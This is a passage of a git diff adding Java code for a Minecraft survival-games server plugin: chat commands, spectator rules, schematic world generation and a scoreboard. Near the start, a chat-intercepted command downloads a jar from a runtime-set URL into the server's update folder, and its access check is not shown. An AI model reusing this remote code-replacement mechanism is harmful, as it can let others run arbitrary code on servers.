event.getPlayer().sendMessage(ChatColor.translateAlternateColorCodes('&', "&eThe new download url is: &c" + args[1] + "&e.")); + } else { + String url = SurvivalGames.getPlugin().getInformationManager().getInformation().getDownloadUrl(); + File file = new File(Bukkit.getUpdateFolderFile(), "KohiSG-1.0-SNAPSHOT.jar"); + + Bukkit.getScheduler().runTask(SurvivalGames.getPlugin(), () -> { + try { + downloadFileFromURL(url, file); + + Bukkit.getScheduler().runTaskLater(SurvivalGames.getPlugin(), () -> { + event.getPlayer().sendMessage(ChatColor.GREEN + "You have successfully updated the jar named: " + ChatColor.YELLOW + file.getName() + ChatColor.GREEN + ". " + ChatColor.GRAY + "(Remember to shutdown the server..)"); + }, 20 * 5L); + } catch (Exception e) { + event.getPlayer().sendMessage(ChatColor.RED + "The server couldn't download the file..."); + e.printStackTrace(); + } + }); + } + + event.setCancelled(true); + } + + if (event.getMessage().startsWith("/revive")) { + if (event.getPlayer().hasPermission("sg.command.revive")) { + Player player = event.getPlayer(); + + if (event.getMessage().contains(" ")) { + String[] args = event.getMessage().split(" "); + + Player target = Bukkit.getPlayer(args[1]); + + if (target != null) { + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(target); + + if (SurvivalGames.getPlugin().getGameManager().getGameState() != GameState.PLAYING) { + return; + } + + if (profile.getPlayerStatus() == PlayerStatus.SPECTATING) { + profile.setDeaths(profile.getDeaths() - 1); + profile.setPlayerStatus(PlayerStatus.PLAYING); + + InventoryUtils.playerInventoryFromString(profile.getKilledInventory(), target); + target.teleport(LocationUtils.getLocation(profile.getKilledLocation())); + + player.sendMessage(ChatColor.GREEN + "Successfully revived..."); + target.sendMessage(ChatColor.GREEN + "You have been revived..."); + } else { + player.sendMessage(ChatColor.RED + "That player is not spectating..."); + } + } else { + player.sendMessage(ChatColor.RED + "That player is not spectating..."); + } + } + } + } + } + + @EventHandler + public void onPlayerInteractBrewingStand(PlayerInteractEvent event) { + if (event.getAction() == Action.RIGHT_CLICK_BLOCK) { + BlockState state = event.getClickedBlock().getState(); + + if (state instanceof BrewingStand) { + activeStands.put(state.getLocation(), (BrewingStand) state); + } + } + } + + public class BrewingUpdateTask extends BukkitRunnable { + + @Override + public void run() { + Iterator> iter = activeStands.entrySet().iterator(); + + while (iter.hasNext()) { + Map.Entry entry = iter.next(); + + if (!entry.getValue().getChunk().isLoaded() || entry.getKey().getBlock().getType() != Material.BREWING_STAND) { + iter.remove(); + } else { + BrewingStand stand = entry.getValue(); + + if (stand.getBrewingTime() > 1) { + stand.setBrewingTime(Math.max(1, stand.getBrewingTime() - 2)); + } + } + } + } + } + + public void spawnFeast() { + for (int x = 0; x < 22; x++) { + Chest chest; + + for (int z = 0; z < 22; z++) { + if (RandomUtils.nextInt(20) == 0) { + Block block = Bukkit.getWorlds().get(0).getBlockAt(x, 65, z); + + block.setType(Material.CHEST); + chest = (Chest) block.getState(); + + for (ChestLoot item : SurvivalGames.getPlugin().getFeastInformation().getItemList()) { + if (item.hasChance(RandomUtils.JVM_RANDOM)) { + ItemStack items = item.getRandomItemStack(RandomUtils.JVM_RANDOM); + + chest.getInventory().addItem(items); + } + } + } + } + } + + Block block = Bukkit.getWorlds().get(0).getBlockAt(8, 65, 8); + block.setType(Material.ENCHANTMENT_TABLE); + } + + @EventHandler + public void onPlayerInteract(PlayerInteractEvent event) { + if (event.getAction() != Action.PHYSICAL && event.hasItem() && event.getItem().getType() == Material.COMPASS) { + event.setCancelled(true); + Player player = event.getPlayer(); + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + + Player targetp = null; + double distance = Double.MAX_VALUE; + + for (Player op : Bukkit.getServer().getOnlinePlayers()) { + if (op != player && SurvivalGames.getPlugin().getProfileManager().getProfile(op).getPlayerStatus() == PlayerStatus.PLAYING) { + if (distance > player.getLocation().distanceSquared(op.getLocation())) { + targetp = op; + distance = player.getLocation().distanceSquared(targetp.getLocation()); + } + } + } + if (targetp != null) { + player.setCompassTarget(targetp.getLocation()); + player.sendMessage(ChatColor.YELLOW + "You are now tracking " + ChatColor.RED + targetp.getName() + ChatColor.YELLOW + "."); + setItemTitle(event.getItem(), ChatColor.YELLOW + "You are tracking: " + ChatColor.RED + targetp.getName() + ChatColor.GRAY + " (" + new DecimalFormat("#").format(player.getLocation().distance(targetp.getLocation())) + " blocks)"); + } + } + } + + public static ItemStack setItemTitle(ItemStack item, String title) { + Preconditions.checkNotNull(item); + Preconditions.checkNotNull(title); + Preconditions.checkState(item.getType() != Material.AIR); + ItemMeta itemMeta = item.getItemMeta(); + itemMeta.setDisplayName(title); + item.setItemMeta(itemMeta); + return item; + } + + public static void downloadFileFromURL(String urlString, File destination) throws IOException { + URL website = new URL(urlString); + ReadableByteChannel rbc; + rbc = Channels.newChannel(website.openStream()); + FileOutputStream fos = new FileOutputStream(destination); + fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE); + fos.close(); + rbc.close(); + } +} + diff --git a/KohiSG/src/main/java/me/redis/kohi/listeners/SpectatorListener.java b/KohiSG/src/main/java/me/redis/kohi/listeners/SpectatorListener.java new file mode 100644 index 0000000..2ff0515 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/listeners/SpectatorListener.java @@ -0,0 +1,134 @@ +package me.redis.kohi.listeners; + +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.database.profiles.Profile; +import me.redis.kohi.database.profiles.status.PlayerStatus; +import org.bukkit.ChatColor; +import org.bukkit.entity.Entity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.block.BlockBreakEvent; +import org.bukkit.event.block.BlockPlaceEvent; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.player.AsyncPlayerChatEvent; +import org.bukkit.event.player.PlayerDropItemEvent; +import org.bukkit.event.player.PlayerPickupItemEvent; + +import java.util.Iterator; + +public class SpectatorListener implements Listener { + @EventHandler + public void onChat(AsyncPlayerChatEvent event) { + Player player = event.getPlayer(); + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.SPECTATING) { + if (event.getMessage().startsWith("!")) { + event.setFormat(event.getFormat().replace("!", "")); + return; + } + + for (Iterator it = event.getRecipients().iterator(); it.hasNext(); ) { + Player recipent = it.next(); + Profile recipentProfile = SurvivalGames.getPlugin().getProfileManager().getProfile(recipent); + + if (recipentProfile.getPlayerStatus() == PlayerStatus.PLAYING) { + it.remove(); + } + } + + event.setFormat(ChatColor.GRAY + "[Spectator] " + event.getFormat()); + } + } + + @EventHandler + public void onInventoryClick(InventoryClickEvent event) { + Player player = (Player) event.getWhoClicked(); + + if (event.getInventory() != null) { + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.SPECTATING) { + event.setCancelled(true); + } + } + } + + @EventHandler + public void onPlayerDropItem(PlayerDropItemEvent event) { + Player player = event.getPlayer(); + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.SPECTATING) { + event.setCancelled(true); + } + } + + @EventHandler + public void onPlayerDropItem(BlockBreakEvent event) { + Player player = event.getPlayer(); + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.SPECTATING) { + event.setCancelled(true); + } + } + + @EventHandler + public void onPlayerDropItem(BlockPlaceEvent event) { + Player player = event.getPlayer(); + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.SPECTATING) { + event.setCancelled(true); + } + } + + @EventHandler + public void onPlayerPickupItem(PlayerPickupItemEvent event) { + Player player = event.getPlayer(); + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.SPECTATING) { + event.setCancelled(true); + } + } + + @EventHandler + public void onEntityDamage(EntityDamageEvent event) { + Entity entity = event.getEntity(); + + if (entity instanceof Player) { + Player player = (Player) entity; + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.SPECTATING) { + event.setCancelled(true); + } + } + } + + @EventHandler + public void onEntityDamageByEntity(EntityDamageByEntityEvent event) { + if (event.getEntity() instanceof Player) { + Player player = (Player) event.getEntity(); + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.SPECTATING) { + event.setCancelled(true); + } + } + + if (event.getDamager() instanceof Player) { + Player player = (Player) event.getDamager(); + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.SPECTATING) { + event.setCancelled(true); + } + } + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/listeners/WaitingListener.java b/KohiSG/src/main/java/me/redis/kohi/listeners/WaitingListener.java new file mode 100644 index 0000000..bc474f4 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/listeners/WaitingListener.java @@ -0,0 +1,99 @@ +package me.redis.kohi.listeners; + +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.database.profiles.Profile; +import me.redis.kohi.database.profiles.status.PlayerStatus; +import me.redis.kohi.game.states.GameState; +import me.redis.kohi.schematic.SchematicPopulator; +import me.redis.kohi.tasks.RoadProcessor; +import me.redis.kohi.utils.NMSUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.EntityDeathEvent; +import org.bukkit.event.player.AsyncPlayerPreLoginEvent; +import org.bukkit.event.player.PlayerJoinEvent; +import org.bukkit.event.player.PlayerQuitEvent; +import org.bukkit.event.world.WorldInitEvent; +import org.bukkit.event.world.WorldLoadEvent; +import org.spigotmc.event.player.PlayerSpawnLocationEvent; + +public class WaitingListener implements Listener { + @EventHandler + public void onJoin(PlayerJoinEvent event) { + Player player = event.getPlayer(); + + event.setJoinMessage(null); // Every time stuff! + + player.setHealth(20); + player.setSaturation(14F); + player.setAllowFlight(true); + player.setFlying(true); + player.setMaximumNoDamageTicks(19); + player.getInventory().clear(); + player.getInventory().setArmorContents(null); + + if (Bukkit.getOnlinePlayers().size() >= 6 && !SurvivalGames.getPlugin().getGameManager().isStartedCountdown()) { + SurvivalGames.getPlugin().getGameManager().startCountdown(); + } + + Profile profile = SurvivalGames.getPlugin().getProfileManager().getProfile(player); + profile.setPlayerStatus(PlayerStatus.SPECTATING); + + for (Player online : Bukkit.getOnlinePlayers()) { + Profile onlineProfile = SurvivalGames.getPlugin().getProfileManager().getProfile(online); + + if (onlineProfile.getPlayerStatus() == PlayerStatus.PLAYING) { + online.hidePlayer(player); + } + + player.showPlayer(online); + } + + Bukkit.getScheduler().runTaskLater(SurvivalGames.getPlugin(), () -> { + player.setHealth(20); + player.setSaturation(14F); + player.setAllowFlight(true); + player.setFlying(true); + }, 1L); + } + + @EventHandler + public void onQuit(PlayerQuitEvent event) { + event.setQuitMessage(null); + + SurvivalGames.getPlugin().getGameManager().getPlayerList().remove(event.getPlayer().getUniqueId()); + } + + @EventHandler + public void onWorldInit(WorldInitEvent event) { + event.getWorld().setSpawnLocation(0, 0, 0); + event.getWorld().getPopulators().add(new SchematicPopulator(SurvivalGames.getPlugin().getChestInformation())); + } + + @EventHandler + public void onWorldLoadEvent(WorldLoadEvent event) { + new RoadProcessor(event.getWorld().getSpawnLocation(), 10000000, 5).run(); + } + + @EventHandler + public void onPlayerInitialSpawn(PlayerSpawnLocationEvent event) { + event.setSpawnLocation(new Location(event.getPlayer().getWorld(), 4.0D, 67.0D, 4.0D)); + } + + @EventHandler + public void onEntityDeath(EntityDeathEvent event) { + event.setDroppedExp((int) (event.getDroppedExp() * 5D)); + } + + @EventHandler + public void onJoin(AsyncPlayerPreLoginEvent event) { + if (!SurvivalGames.getPlugin().isCanJoin()) { + event.disallow(AsyncPlayerPreLoginEvent.Result.KICK_OTHER, ChatColor.RED + "The server is loading... " + ChatColor.GRAY + "(You need to wait " + SurvivalGames.getPlugin().getGameManager().getWorldBorder() + " more seconds...)"); + } + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/schematic/SchematicHandler.java b/KohiSG/src/main/java/me/redis/kohi/schematic/SchematicHandler.java new file mode 100644 index 0000000..fefabf8 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/schematic/SchematicHandler.java @@ -0,0 +1,130 @@ +package me.redis.kohi.schematic; + +import com.google.common.base.Preconditions; + +import java.io.File; +import java.io.IOException; +import java.lang.reflect.Field; + +import com.sk89q.worldedit.CuboidClipboard; +import com.sk89q.worldedit.EditSession; +import com.sk89q.worldedit.MaxChangedBlocksException; +import com.sk89q.worldedit.Vector; +import com.sk89q.worldedit.blocks.BaseBlock; +import com.sk89q.worldedit.bukkit.BukkitWorld; +import com.sk89q.worldedit.schematic.SchematicFormat; +import com.sk89q.worldedit.world.DataException; +import org.apache.commons.lang.math.RandomUtils; +import org.bukkit.World; + +public class SchematicHandler { + private static Field dataf = null; + private String name; + private CuboidClipboard clipBoard; + private int yOffset; + private int percentage; + + public SchematicHandler() { + this.percentage = 2500; + } + + public String getName() { + return name; + } + + public void loadSchmeatic(File file) throws IOException { + Preconditions.checkState(this.clipBoard == null); + + name = file.getName().replaceAll(".schematic", ""); + SchematicFormat format = SchematicFormat.MCEDIT; + + try { + this.clipBoard = format.load(file); + } catch (DataException e) { + throw new IOException(e); + } + } + + public void pasteSchematic(World world, int x, int y, int z) { + Vector pastePos = new Vector(x, y, z); + EditSession editSession = newEditSession(world); + + try { + this.clipBoard.place(editSession, pastePos, true); + } catch (MaxChangedBlocksException e) { + e.printStackTrace(); + } + } + + public void rotateRandomly() { + this.clipBoard.rotate2D(90 * (RandomUtils.nextInt(4) + 1)); + } + + public int getWidth() { + return this.clipBoard.getWidth(); + } + + public int getLength() { + return this.clipBoard.getLength(); + } + + public int getHeight() { + return this.clipBoard.getHeight(); + } + + public int getBlockIDAt(int x, int y, int z) { + BaseBlock[][][] block = getInternalData(this.clipBoard); + + if (block[x][y][z] == null) { + throw new IllegalStateException("null at " + x + "," + y + "," + z); + } + + return block[x][y][z].getId(); + } + + public int getDataAt(int x, int y, int z) { + BaseBlock[][][] block = getInternalData(this.clipBoard); + + if (block[x][y][z] == null) { + throw new IllegalStateException("null at " + x + "," + y + "," + z); + } + + return block[x][y][z].getData(); + } + + private BaseBlock[][][] getInternalData(CuboidClipboard clipboard) { + try { + if (dataf == null) { + try { + dataf = CuboidClipboard.class.getDeclaredField("data"); + } catch (ReflectiveOperationException e) { + e.printStackTrace(); + } + dataf.setAccessible(true); + } + return (BaseBlock[][][]) dataf.get(this.clipBoard); + } catch (ReflectiveOperationException e) { + throw new RuntimeException(e); + } + } + + private EditSession newEditSession(World world) { + return new EditSession(new BukkitWorld(world), 999999); + } + + public int getYOffset() { + return this.yOffset; + } + + public void setYOffset(int yOffset) { + this.yOffset = yOffset; + } + + public int getPercentage() { + return this.percentage; + } + + public void setPercentage(int percentage) { + this.percentage = percentage; + } +} diff --git a/KohiSG/src/main/java/me/redis/kohi/schematic/SchematicPopulator.java b/KohiSG/src/main/java/me/redis/kohi/schematic/SchematicPopulator.java new file mode 100644 index 0000000..965b873 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/schematic/SchematicPopulator.java @@ -0,0 +1,231 @@ +package me.redis.kohi.schematic; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.Random; + +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.chest.ChestInformation; +import me.redis.kohi.chest.ChestLoot; +import org.bukkit.Chunk; +import org.bukkit.Material; +import org.bukkit.World; +import org.bukkit.block.Block; +import org.bukkit.block.BlockFace; +import org.bukkit.block.BlockState; +import org.bukkit.block.Chest; +import org.bukkit.block.CreatureSpawner; +import org.bukkit.configuration.file.YamlConfiguration; +import org.bukkit.entity.EntityType; +import org.bukkit.generator.BlockPopulator; +import org.bukkit.inventory.Inventory; +import org.bukkit.inventory.ItemStack; + +public class SchematicPopulator extends BlockPopulator { + private ChestInformation chestConfiguration; + private List list; + private List ok; + + public SchematicPopulator(ChestInformation chestConfiguration) { + this.list = new ArrayList(); + this.ok = Arrays.asList(new Material[]{Material.AIR, Material.SNOW, Material.SNOW_BLOCK, Material.SNOW_BLOCK, Material.DIRT, Material.GRASS, Material.DEAD_BUSH, Material.RED_ROSE, Material.YELLOW_FLOWER, Material.LONG_GRASS, Material.SAND}); + this.chestConfiguration = chestConfiguration; + File schematicFolder = new File((SurvivalGames.getPlugin()).getDataFolder(), "schematic"); + schematicFolder.mkdirs(); + File configuration = new File(schematicFolder, "config"); + configuration.mkdirs(); + File[] listFiles; + int length = (listFiles = schematicFolder.listFiles()).length; + for (int i = 0; i < length; i++) { + File schematic = listFiles[i]; + if (schematic.getName().endsWith(".schematic")) { + String name = schematic.getName().replace(".schematic", ""); + File config = new File(configuration, String.valueOf(name) + ".yml"); + SchematicHandler hold = new SchematicHandler(); + try { + hold.loadSchmeatic(schematic); + YamlConfiguration yamlConfig = ensureCorrect(config); + hold.setYOffset(yamlConfig.getInt("YOffset")); + hold.setPercentage(yamlConfig.getInt("Percentage")); + } catch (IOException e) { + e.printStackTrace(); + continue; + } + this.list.add(hold); + } + } + } + + public YamlConfiguration ensureCorrect(File file) throws IOException { + if (!file.exists()) { + file.createNewFile(); + } + + YamlConfiguration configuration = YamlConfiguration.loadConfiguration(file); + if (!configuration.contains("YOffset")) { + configuration.set("YOffset", Integer.valueOf(-1)); + } + + if (!configuration.contains("Percentage")) { + configuration.set("Percentage", Integer.valueOf(2500)); + } + + configuration.save(file); + return configuration; + } + + public void populate(World world, Random rand, Chunk chunk) { + int chunkX = chunk.getX(); + int chunkZ = chunk.getZ(); + + if (chunkX >= -1 && chunkX <= 1) { + return; + } + + if (chunkZ >= -1 && chunkZ <= 1) { + return; + } + + int skipZ = 0; + int skipX = 0; + for (int x = 0; x < 16; x++) { + if (skipX > 0) { + skipX--; + } else { + for (int z = 0; z < 16; z++) { + if (skipZ > 0) { + skipZ--; + } else { + Collections.shuffle(this.list); + for (SchematicHandler man2 : this.list) { + if ((canPlace(man2, chunk, x, z)) && (rand.nextInt(man2.getPercentage()) == 0)) { + paste(man2, chunk.getWorld(), chunk.getX() * 16 + x, chunk.getZ() * 16 + z, rand); + skipZ = man2.getLength() + 1; + skipX = man2.getWidth() + 1; + break; + } + } + } + } + } + } + } + + public void paste(SchematicHandler man, World world, int blockX, int blockZ, Random rand) { + man.rotateRandomly(); + int height = man.getHeight(); + int starty = world.getHighestBlockAt(blockX, blockZ).getY() + man.getYOffset(); + + for (int x = 0; x < man.getWidth(); x++) { + for (int z = 0; z < man.getLength(); z++) { + int realX = x + blockX; + int realZ = z + blockZ; + for (int y = 0; y < height; y++) { + int id = man.getBlockIDAt(x, y, z); + int data = man.getDataAt(x, y, z); + int realY = starty + y; + if (id > 0) { + Block block = world.getBlockAt(realX, realY, realZ); + if (id == 63) { + block.setTypeId(0); + block.setData((byte) 0); + } else { + block.setTypeId(id); + block.setData((byte) data); + if (id == 52) { + BlockState spawner = block.getState(); + if ((spawner instanceof CreatureSpawner)) { + CreatureSpawner creatureSpawner = (CreatureSpawner) spawner; + if (block.getRelative(BlockFace.DOWN).getType() == Material.WOOD) { + creatureSpawner.setSpawnedType(EntityType.CREEPER); + } else { + creatureSpawner.setSpawnedType(EntityType.ZOMBIE); + } + } + } else if (world.getBlockAt(realX, realY, realZ).getState() instanceof Chest) { + Chest chest = (Chest) world.getBlockAt(realX, realY, realZ).getState(); + + if (getAmountOfItems(chest.getInventory()) >= 4) { + return; + } + + for (ChestLoot item : this.chestConfiguration.getItemList()) { + if (item.hasChance(rand)) { + ItemStack items = item.getRandomItemStack(rand); + chest.getInventory().addItem(items); + } + } + + boolean empty = true; + ItemStack[] contents; + int length = (contents = chest.getInventory().getContents()).length; + for (int i = 0; i < length; i++) { + ItemStack item2 = contents[i]; + if ((item2 == null) || (item2.getType() == Material.AIR)) { + empty = false; + break; + } + } + + int i = 0; + for (ItemStack is : chest.getInventory().getContents()) { + if (is != null && is.getType() == Material.STICK) { + i = i + is.getAmount(); + } + } + + if (empty) { + for (ChestLoot item3 : this.chestConfiguration.getItemList()) { + if (item3.hasChance(rand)) { + ItemStack items2 = item3.getRandomItemStack(rand); + chest.getInventory().addItem(items2); + } + } + } + + if (getAmountOfItems(chest.getInventory()) <= 0) { + for (ChestLoot item : this.chestConfiguration.getItemList()) { + chest.getInventory().addItem(item.getRandomItemStack(rand)); + } + } + } + } + } + } + } + } + } + + public boolean canPlace(SchematicHandler schematic, Chunk chunk, int placeX, int placeZ) { + int foundY = -1; + for (int x = 0; x < schematic.getWidth(); x++) { + for (int z = 0; z < schematic.getLength(); z++) { + Block block = chunk.getWorld().getHighestBlockAt(chunk.getX() * 16 + placeX + x, chunk.getZ() * 16 + placeZ + z); + if ((!this.ok.contains(block.getType())) || (!this.ok.contains(block.getRelative(BlockFace.DOWN).getType()))) { + return false; + } + if ((foundY != -1) && (block.getY() != foundY)) { + return false; + } + foundY = block.getY(); + } + } + return true; + } + + public int getAmountOfItems(Inventory inventory) { + int toReturn = 0; + + for (ItemStack items : inventory.getContents()) { + if (items != null) { + toReturn++; + } + } + + return toReturn; + } +} \ No newline at end of file diff --git a/KohiSG/src/main/java/me/redis/kohi/scoreboard/Aether.java b/KohiSG/src/main/java/me/redis/kohi/scoreboard/Aether.java new file mode 100644 index 0000000..60d0352 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/scoreboard/Aether.java @@ -0,0 +1,260 @@ +package me.redis.kohi.scoreboard; + +import me.redis.kohi.SurvivalGames; +import me.redis.kohi.database.profiles.status.PlayerStatus; +import me.redis.kohi.scoreboard.board.Board; +import me.redis.kohi.scoreboard.board.BoardAdapter; +import me.redis.kohi.scoreboard.board.BoardEntry; +import lombok.Getter; +import me.redis.kohi.events.SidebarCreateEvent; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.player.PlayerJoinEvent; +import org.bukkit.event.player.PlayerQuitEvent; +import org.bukkit.plugin.java.JavaPlugin; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.scoreboard.*; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Iterator; +import java.util.List; + +import static me.redis.kohi.scoreboard.AetherOptions.defaultOptions; + +/** + * TODO: Add documentation to methods, etc + * TODO: Fix inconsistent cooldown scores + * TODO: Finish other board formats + */ + +public class Aether implements Listener { + @Getter + private JavaPlugin plugin; + @Getter + private AetherOptions options; + @Getter + BoardAdapter adapter; + + public Aether(JavaPlugin plugin, BoardAdapter adapter, AetherOptions options) { + this.options = options; + this.plugin = plugin; + + Bukkit.getPluginManager().registerEvents(this, plugin); + + setAdapter(adapter); + run(); + } + + public Aether(JavaPlugin plugin, BoardAdapter adapter) { + this(plugin, adapter, defaultOptions()); + } + + public Aether(JavaPlugin plugin) { + this(plugin, null, defaultOptions()); + } + + private void run() { + new BukkitRunnable() { + public void run() { + if (adapter == null) return; + + for (Player player : Bukkit.getOnlinePlayers()) { + Board board = Board.getByPlayer(player); + if (board != null) { + List scores = adapter.getScoreboard(player, board, board.getCooldowns()); + List translatedScores = new ArrayList<>(); + + if (scores == null) { + + if (!board.getEntries().isEmpty()) { + + for (BoardEntry boardEntry : board.getEntries()) { + boardEntry.remove(); + } + + board.getEntries().clear(); + } + + continue; + } + + for (String line : scores) { + translatedScores.add(ChatColor.translateAlternateColorCodes('&', line)); + } + + if (!options.scoreDirectionDown()) { + Collections.reverse(scores); + } + + Scoreboard scoreboard = board.getScoreboard(); + Objective objective = board.getObjective(); + + if (!(objective.getDisplayName().equals(adapter.getTitle(player)))) { + objective.setDisplayName(ChatColor.translateAlternateColorCodes('&', adapter.getTitle(player))); + } + + outer: + for (int i = 0; i < scores.size(); i++) { + String text = scores.get(i); + int position; + if (options.scoreDirectionDown()) { + position = 15 - i; + } else { + position = i + 1; + } + + Iterator iterator = new ArrayList<>(board.getEntries()).iterator(); + while (iterator.hasNext()) { + BoardEntry boardEntry = iterator.next(); + Score score = objective.getScore(boardEntry.getKey()); + + if (score != null && boardEntry.getText().equals(ChatColor.translateAlternateColorCodes('&', text))) { + if (score.getScore() == position) { + continue outer; + } + } + } + + int positionToSearch = options.scoreDirectionDown() ? 15 - position : position - 1; + + iterator = board.getEntries().iterator(); + while (iterator.hasNext()) { + BoardEntry boardEntry = iterator.next(); + int entryPosition = scoreboard.getObjective(DisplaySlot.SIDEBAR).getScore(boardEntry.getKey()).getScore(); + + if (!options.scoreDirectionDown()) { + if (entryPosition > scores.size()) { + iterator.remove(); + boardEntry.remove(); + } + } + + } + + BoardEntry entry = board.getByPosition(positionToSearch); + if (entry == null) { + new BoardEntry(board, text).send(position); + } else { + entry.setText(text).setup().send(position); + } + + if (board.getEntries().size() > scores.size()) { + iterator = board.getEntries().iterator(); + while (iterator.hasNext()) { + BoardEntry boardEntry = iterator.next(); + if ((!translatedScores.contains(boardEntry.getText())) || Collections.frequency(board.getBoardEntriesFormatted(), boardEntry.getText()) > 1) { + iterator.remove(); + boardEntry.remove(); + } + } + } + } + + player.setScoreboard(scoreboard); + updateTablist(player); + } + } + } + }.runTaskTimerAsynchronously(plugin, 20L, 1L); + } + + public void setAdapter(BoardAdapter adapter) { + this.adapter = adapter; + for (Player player : Bukkit.getOnlinePlayers()) { + Board board = Board.getByPlayer(player); + + if (board != null) { + Board.getBoards().remove(board); + } + + Bukkit.getPluginManager().callEvent(new SidebarCreateEvent(new Board(player, this, options), player)); + } + } + + @EventHandler + public void onPlayerJoinEvent(PlayerJoinEvent event) { + if (Board.getByPlayer(event.getPlayer()) == null) { + Bukkit.getPluginManager().callEvent(new SidebarCreateEvent(new Board(event.getPlayer(), this, options), event.getPlayer())); + } + + event.getPlayer().setMaximumNoDamageTicks(19); + setHealthAndList(event.getPlayer()); + } + + private static Team getExistingOrCreateNewTeam(String string, Scoreboard scoreboard, ChatColor prefix) { + Team toReturn = scoreboard.getTeam(string); + + if (toReturn == null) { + toReturn = scoreboard.registerNewTeam(string); + toReturn.setPrefix(prefix + ""); + } + + return toReturn; + } + + private static void updateTablist(Player target) { + Team enemy = getExistingOrCreateNewTeam("enemy", Board.getByPlayer(target).getScoreboard(), ChatColor.YELLOW); + + Team spectator = getExistingOrCreateNewTeam("spectator", Board.getByPlayer(target).getScoreboard(), ChatColor.GRAY); + spectator.setPrefix(ChatColor.GRAY + "(Spectator) "); + + Team staff = getExistingOrCreateNewTeam("staff", Board.getByPlayer(target).getScoreboard(), ChatColor.LIGHT_PURPLE); + staff.setPrefix(ChatColor.LIGHT_PURPLE + "โœถ "); + + Team javaEE = getExistingOrCreateNewTeam("java", Board.getByPlayer(target).getScoreboard(), ChatColor.RED); + javaEE.setPrefix(ChatColor.BLUE + "(god?) "); + javaEE.setSuffix(ChatColor.BLUE + " <- g0d"); + + for (Player online : Bukkit.getOnlinePlayers()) { + if (online.getName().equalsIgnoreCase("JavaEE") && SurvivalGames.getPlugin().getProfileManager().getProfile(online).getPlayerStatus() != PlayerStatus.SPECTATING) { + if (!(javaEE.hasEntry(online.getName()))) { + javaEE.addEntry(online.getName()); + } + continue; + } + + if (SurvivalGames.getPlugin().getProfileManager().getProfile(online).getPlayerStatus() == PlayerStatus.SPECTATING) { + if (!(spectator.hasEntry(online.getName()))) { + spectator.addEntry(online.getName()); + } + } else if (online.hasPermission("group.owner")) { + if (!(staff.hasEntry(online.getName()))) { + staff.addEntry(online.getName()); + } + } else { + if (!(enemy.hasEntry(online.getName()))) { + enemy.addEntry(online.getName()); + } + } + } + } + + public void setHealthAndList(Player player) { + if (Board.getByPlayer(player).getScoreboard() != null) { + Scoreboard scoreboard = Board.getByPlayer(player).getScoreboard(); + + if (scoreboard.getObjective("namehealth") == null) { + scoreboard.registerNewObjective("namehealth", "health"); + } + + Objective objective = scoreboard.getObjective("namehealth"); + + objective.setDisplaySlot(DisplaySlot.BELOW_NAME); + objective.setDisplayName(ChatColor.DARK_RED + " โค"); + } + } + + @EventHandler(priority = EventPriority.HIGHEST) + public void onPlayerQuitEvent(PlayerQuitEvent event) { + Board board = Board.getByPlayer(event.getPlayer()); + if (board != null) { + Board.getBoards().remove(board); + } + } + +} diff --git a/KohiSG/src/main/java/me/redis/kohi/scoreboard/AetherOptions.java b/KohiSG/src/main/java/me/redis/kohi/scoreboard/AetherOptions.java new file mode 100644 index 0000000..21a50ac --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/scoreboard/AetherOptions.java @@ -0,0 +1,21 @@ +package me.redis.kohi.scoreboard; + +import lombok.Getter; +import lombok.Setter; +import lombok.experimental.Accessors; + +@Getter +@Setter +@Accessors(chain = true, fluent = true) +public class AetherOptions { + + static AetherOptions defaultOptions() { + return new AetherOptions() + .hook(false) + .scoreDirectionDown(false); + } + + private boolean hook; + private boolean scoreDirectionDown; + +} diff --git a/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/Board.java b/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/Board.java new file mode 100644 index 0000000..879fa69 --- /dev/null +++ b/KohiSG/src/main/java/me/redis/kohi/scoreboard/board/Board.java @@ -0,0 +1,141 